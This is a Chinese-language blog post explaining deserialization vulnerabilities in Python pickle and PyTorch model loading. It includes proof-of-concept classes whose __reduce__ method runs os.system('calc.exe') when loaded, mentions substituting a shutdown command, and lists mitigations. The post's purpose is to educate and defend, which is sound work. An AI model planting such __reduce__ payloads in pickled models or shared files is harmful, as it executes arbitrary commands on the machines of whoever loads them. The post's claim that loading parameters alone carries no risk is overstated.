【Python】Pickle/PyTorch反序列化漏洞
2023-06-13 09:17:22 时间
有人说,不要轻易加载未知来源的模型,否则存在反序列化攻击的风险,本文就对此言论进行测试分析。
Pickle反序列化漏洞
通常情况下,会用到Pickle来将一些变量/对象转换成字节串进行存储,此操作称为序列化。 读取pkl文件,还原其中的数据,此操作称为反序列化。
而在Python中,有一个天然的魔法方法__reduce__
,它在进行反序列化中,会自动执行其下的内容,这就造成了一个可被用于攻击的漏洞。
__reduce__
方法主要有两种方式,返回字符串或者返回元组,后者可携带一些操作指令。
具体的解释可参考官方文档:https://docs.python.org/3/library/pickle.html
下面看一个示例:
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
self.b = '2'
self.c = '3'
def __reduce__(self):
return (os.system, ('calc.exe',))
if __name__ == '__main__':
aa = Test()
with open("model.pkl", "wb") as f:
pickle.dump(aa, f, protocol=0)
with open("model.pkl", "rb") as f:
A = pickle.load(f)
运行本示例,会发现计算器会被打开,这是因为在反序列化的过程中,执行了'calc.exe'
。相当于直接在控制台中输入calc.exe
,从而打开计算器。
这个指令可以替换成任何命令,比如shutdown -s -t 0
,这样当进行反序列操作后,会直接关机。
PyTorch反序列化漏洞
Pytorch的模型保存和加载底层依然是用到了Pickle,因此同样存在反序列化的漏洞。
下面是个示例: 首先定义一个简单的DNN模型:
import torch
import torch.nn as nn
import torch.nn.functional as F
import os
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.layer1 = nn.Linear(1, 128)
self.layer2 = nn.Linear(128, 128)
self.layer3 = nn.Linear(128, 2)
def forward(self, x):
x = F.relu(self.layer1(x))
x = F.relu(self.layer2(x))
action = self.layer3(x)
return action
def __reduce__(self):
return (os.system, ('calc.exe',))
然后保存模型,再进行加载:
if __name__ == '__main__':
a = Net()
torch.save(a, '12.pt')
b = torch.load('12.pt')
运行之后,同样可以发现计算器被打开。
上面的方法是保存整个模型,再进行加载。另一种模型保存和加载的方式是仅保存和加载模型的参数。
if __name__ == '__main__':
a = Net()
torch.save(a.state_dict(), '12.pt')
c = Net()
c.load_state_dict(torch.load('12.pt'))
运行该方法,发现计算器没有被打开。
总结
- 加载模型时,尽可能不要加载整个模型,否则存在反序列化风险,加载模型参数则不存在风险。
- Pickle反序列化风险避免方式比较复杂,可以通过
黑白名单
、禁用R指令
等方式,更详细的内容可参考https://zhuanlan.zhihu.com/p/89132768
相关文章
- 二级Python选择题_二级python选择题题库
- python的安装教程_Python的安装
- pycharm安装教程2020.3.4_python安装步骤
- pycharm自带python环境吗_Python IDE环境之 新版Pycharm安装详细教程[通俗易懂]
- pycharm打包python项目_Python怎么打包
- python 生成数组_Python创建数组「建议收藏」
- python qt是什么_初识Python与Qt「建议收藏」
- Python(含PyCharm及配置)下载安装以及简单使用(Idea)「建议收藏」
- python微信自动群发脚本_python 微信批量发送消息脚本
- python下载hashlib命令_python之hashlib模块[通俗易懂]
- python中替换字符串中字符_Python replace()函数:替换字符串中的某个字符「建议收藏」
- python海龟作图红绿灯_海龟作图—用Python绘图
- python教程:用简单的Python编写Web应用程序
- python常见运维脚本_Python运维常用脚本[通俗易懂]
- 怎么用python打开csv文件_Python文本处理之csv-csv文件怎么打开[通俗易懂]
- gyp ERR! stack Error: Can't find Python executable 'python'
- 最全总结 | 聊聊 Python 命令行参数化的几种方式!
- python读取pkl_Python 读取文件
- Python修改文件后缀_python重命名文件名
- python去除扩展名
- Python: 什么是异步编程? (1)
- 基于Python接口自动化测试框架(初级篇)附源码
- python-Python与MySQL数据库-处理MySQL查询结果
- python-Python与MongoDB数据库-MongoDB数据库的基本知识
- 进程监控的python脚本详解编程语言
- Linux上的Python之旅(linux自带python)
- python:dict vs list vs set详解编程语言
- 使用Python操作MySQL数据库快速上手(python访问mysql数据库)
- Linux与Python:开拓者的新时代(linux和python)
- Python操作Redis实现数据持久化(python操作redis)
- 一步步学习:利用Python连接MySQL数据库(python连接mysql数据库)
- Python玩转Redis:提升缓存效率(python使用redis)
- Python与Java曝漏洞,黑客利用FTP注入攻击可绕过防火墙
- 用Python仿写MSSQL 编程体验更有趣(python仿mssql)
- Python如何使用MySQL构建立连接(python怎么连接mysql)
- 在Linux上安装Python学习快乐(linux下载python)
- Python正则表达式介绍
- python之模拟鼠标键盘动作具体实现
- python实现的二叉树算法和kmp算法实例
- 从零学Python之入门(五)缩进和选择